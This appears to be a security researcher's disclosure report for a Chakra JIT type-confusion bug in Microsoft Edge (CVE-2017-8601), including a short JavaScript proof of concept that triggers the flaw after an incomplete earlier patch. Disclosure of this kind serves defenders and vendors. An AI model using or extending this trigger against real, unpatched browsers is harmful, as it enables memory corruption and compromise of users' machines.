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Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3
CVE-2017-8601
Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again.
This time, "func(a, b, i);" is replaced with "func(a, b, {});".
PoC:
'use strict';
function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}
function main() {
let a = [1.1, 2.2];
let b = new Uint32Array(100);
for (let i = 0; i < 0x1000; i++)
func(a, b, {}); // <<---------- REPLACED
func(a, b, {valueOf: () => {
a[0] = {};
return 0;
}});
a[0].toString();
}
main();
Tested on Microsoft Edge 40.15063.0.0(Insider Preview).
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
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